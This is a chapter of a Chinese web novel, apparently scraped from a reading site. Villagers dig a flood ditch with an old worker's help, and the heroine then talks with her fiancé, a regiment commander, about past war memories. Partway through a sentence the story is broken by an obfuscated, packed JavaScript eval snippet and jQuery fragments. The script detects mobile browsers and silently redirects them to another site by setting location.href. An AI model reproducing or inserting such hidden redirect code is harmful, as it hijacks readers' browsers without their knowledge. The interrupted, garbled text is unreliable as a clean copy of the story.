24. 影响不好
作品:《穿进年代文后要跟大佬退婚?》 要知道昨天商议修建截洪沟的时候反对最强烈的不是方书记,而是周师傅。后来在得到他们不占用壮劳力的承诺后,就连方书记也松口答应了,周师傅却还是坚决不赞同重新挖掘截洪沟。
周师傅的说法是,“从我爹那辈到我,这沟一直都放哪,也没见哪年出了事,怎么就要挖。劳民伤财,劳民伤财!”
要说周师傅的话也并非没有道理。确实这大方水坝在没有截洪沟的情况下也依旧在汛期好好工作了多年。
但是,今年就是会有特大洪水啊。
谭薇也意识到了,在洪水真的来临之前,周师傅是没办法被彻底说服的。他们今天开工之后,周师傅也是背着手在一边不赞同地看着。没有半分要搭把手的意思。
防汛小组知道周师傅的态度,于是也只顾自己埋头干活,都不去跟他搭话。
却没想到在她们遇到困难的时候,周师傅主动给他们出主意了。
“你们这些城市娃啊,也不知道哪里来的这么大的主意。这水沟难道是好挖的。壮劳力都觉着苦呢。”周师傅虽然脸上还是皱着眉,但到底给他们出了主意。
“用这个吧。”他从自己的小屋里拿出了两个竹编的斗笠状大筐,倒扣着把筐子放到截洪沟里,“这样扣下去,拿麻绳给它筐口扎紧。”
“真的。水滤出去了。淤泥都被筐住了。你们快来看啊。”刘铁花兴奋地招呼大家。
所有干活的人都围了上来。周师傅只埋头干活,等到筐子里滤出了一整筐的泥之后,他才说一句,“搭把手。”
小组里有壮实一点的男青年上前,和周师傅一起把那滤水筐拔了出来。
看起来就很重的样子,谭薇明显看到那男青年身子晃了晃。
不过这个筐子真的好用,这一下就清理出了一筐子的淤泥。
还得是周师傅啊。果然有经验。谭薇立刻很上道地大夸周师傅,“周师傅一出手果然不一样,解决了我们的大问题呢。”
她给刘铁花使了个眼色,刘铁花也是聪敏的,立刻接上话茬,“可不呢。要我们自己那是肯定搞不定的。周师傅。您看,我们搞防汛工作,也是给咱们公社做建设。您可得好好指导我们。大伙说是不是?”
众人都捧场,甚至还有人鼓起掌来。
周师傅也不能再紧绷着脸了,终于松了口,“我啊,是比你们多吃了几年饭。你们要是不嫌弃我是个老顽固。我就在一边帮衬着。”
刘铁花,“这哪能呢。这还有谁比周师傅你更了解这水坝的吗?”
众人,“没有。”
“周师傅您就指导我们吧。看我们哪里做的不好,多教教我们。”
周师傅被众人你一言我一语地,捧得脸色也好了,皱纹都仿佛舒展开了,终于答应了下来,“行。革命工作共同奋进。那我就帮你们把这个截洪沟挖起来。”
“好!”
“好!开干!”
“我挖这段。”
“后面的归我了。”
“我来清淤泥。”
“又来了三把锄头了。谁要?”
“我,我,正愁没有趁手的工具呢。”
一时间,坝头这里的工作场面简直可以用热火朝天来形容。
谭薇一边往清理好的水沟上插上木桩来加固,一边也不由得受到了这群质朴的年轻人的感染。
奋斗,奉献。
原来竟然是这样快乐的吗。
“邱小虎,跟我来。”
看到肖穆身边的小路过来,邱小虎下意识地站直了身体。“啥事啊,路哥。”
这位团长身边的警卫员笑着拍拍他的肩,“没啥大事,估计就是你们第一天去支援大坝那边,团长叫你过去问问情况。照实说就行。”
邱小虎这才放下心来,他跟着小路走到了肖穆的办公室。
“报告!”
肖穆放下手里的文件,示意小路出去,然后看向邱小虎。
邱小虎是团里的新兵,体能各项成绩都非常优秀,不过听他的班长说这个小家伙有点憨。
“怎么样,跟防汛小组那边合作得好吗?”
肖穆只是想借这个话开个由头,但没想到邱小虎却吧嗒吧嗒地报告了一堆,“报告团长!咱们新兵和防汛小组的合作非常友好!非常成功!刘铁花同志非常有领导能力,她带领我们清理前段废弃截洪沟以及挖掘连通整段截洪沟,工作效果非常好!其他的同志也非常友善!我们的合作……”
“好好好。”肖穆也不由得被这个家伙憨到了,他先是止住了邱小虎的报告,然后站到他身前拍了拍他的肩,“很好。派你们过去就是让你们跟防汛小组好好合作的。新兵,肯干卖力,是好事。”
肖穆这一拍,邱小虎更是身体站得笔直,一声回答简直要震破肖穆的耳膜,“是。团长。”
看着邱小虎行了一个军礼然后笔直地走出去,肖穆抱着臂低低地笑了一声。
“哟,肖团长。训新兵呢。”
一声调笑的女声吓了他一跳。
“你,你什么时候来的。”肖穆看着站在门后探出一个头来的谭薇,不知道为什么突然不自在了起来。
“刚来啊。”谭薇直接走进了他办公室,带上了门。
“你,这样影响不好。”肖穆大惊,直接从椅子上站了起来。
“有什么不好的。咱们都打了结婚报告了。再说了——”谭薇笑着站到他面前,眯起眼睛看他,“上次不是说要增进了解吗。咱们不见面不说话怎么了解。”
“但,但是……”
谭薇没让他继续但是但是的,“那个邱小虎是今年的新兵吧。挺能干的。”
肖穆无意识地用指节敲了两下桌子,“你们不是工程进度很赶嘛。怎么才半天就连他姓甚名谁入伍几年都知道了。”
谭薇突然凑近,肖穆吓了一跳,“你干什么。”
面前笑靥如花,“你不会吃醋了吧。肖团长。”
“胡,胡说。”
看到肖穆张口结舌地否认,谭薇也不逗他了,“我知道你是特意给我们派的新兵,力气大干活卖力,合作也容易。谢谢你,肖穆。”
肖穆有些惊讶,他确实是特意让小路选了几个表现好的新兵过去的。他手底下的那些兵他知道,在他团里那自然是没话说,但是出去,尤其是刘铁花和谭薇她们都是年轻的女同志,怕是那些老兵未必会服从她们的领导。但他没想到谭薇也能明白这其中的关窍。
“不用这么惊讶吧。说到底我舅舅也是师里的指导员啊。这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053251|194426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
种事情我总归也心里有数的。我还记得小的时候,舅舅还老跟我抱怨你们这些大兵呢。”
说到自己熟悉的领域,肖穆也放松了下来,顺着谭薇聊道,“谭指导员是大学生,跟我们这些基层出来的大兵确实不是一路人。”
“不仅是你们吧。听说他和你们师长刚开始搭档的时候也老是闹意见。以前我小的时候,每次暑假去舅舅家住都听他抱怨来着。直到后来——”
谭薇说到这里,原身的一些记忆才从她脑海深处浮现出来,“那一年,外公和母亲只收到了舅舅的一封家书,跟着再往军队寄信就没有回音了。海城的消息不灵通,外公他们只知道边境打仗了,却不知道调了哪只军队去的。只能守在家里,每天出去打听消息。一个模糊的坏消息就能让他们抹上半天的眼泪。一个好消息又能让他们终于有胃口多吃一口饭。”
“后来,舅舅的家书终于寄回来了。外公开心极了,家里也都放松了下来。可老人家这样劳心了几年,却最终却没能挺到儿子回来,就去了。”
小小的谭薇的记忆里,外公是个像青竹一样的矍铄老者,穿着得体的衬衫,梳着一丝不苟的头,还别着精致的袖扣。她小时候可喜欢外公大衣柜里面小抽屉里放着的那些袖扣了,其中有一个蛋白石的,她最最喜欢,经常拿在手里玩。外公临终前,还特地把她叫到床前,把那颗袖扣塞到她的手心里。
“囡囡,拿着玩啊,别怕……外公一直都陪着你啊。”
……
“谭薇,谭薇。”
肖穆连声呼唤才让她回过神来。
谭薇晃晃自己的脑袋,不好意思地说,“抱歉,想起家里一些事情。”
而肖穆看到她刚刚一脸恍惚,此时又扶着一边的桌子,脸色苍白。“你没事吧。想起什么了?”
谭薇沉默了许久。
肖穆,“是想起那场战争了吧。”
谭薇看向他。肖穆拍了拍她的肩,“凡是有家属在军队里的,谁能不担心。活下来的人已经很幸运了。”
谭薇看着肖穆的眼睛,此时肖穆的眼睛里满是深邃。他看向窗外,“为了国家的安定,总有人要做出牺牲。”
“我听我舅舅说过,你在那场战争中受了很重的伤。就伤在胸口。”
谭薇又想起了一段模模糊糊的记忆,是谭舅舅为了让原身对肖穆的印象好一些,说了许多他的本事功绩。
“你不知道有多凶险。碎的弹片密密麻麻地全扎在他的上半身,军医说有几枚只差那么一点点,就到心脏了。”
谭薇想着谭舅舅的话,不由自主地看向肖穆的胸膛。此时的他穿着军装,不知道军装下面是伤痕密布的胸膛吗。谭薇又看向他的脸。二十出头的团长啊。舅舅说,这在他们师里是独一份。但这样快的晋升,在那场战争中成就的血与火的荣耀,他又付出了什么呢。
“肖穆。你是几岁入伍的?”
“嗯?”肖穆不知道谭薇为什么刚才一直看着他,现在又突然问起这个,但既然她问了,他也就老实回答,“我十五岁就入伍了。现在都快十年了。我很幸运,体能枪械还有识字读书,都是在军队学习的。军队培养了我。”
谭薇点点头,她沉默了半晌,才道,“肖穆,我应该正式向你道歉。”

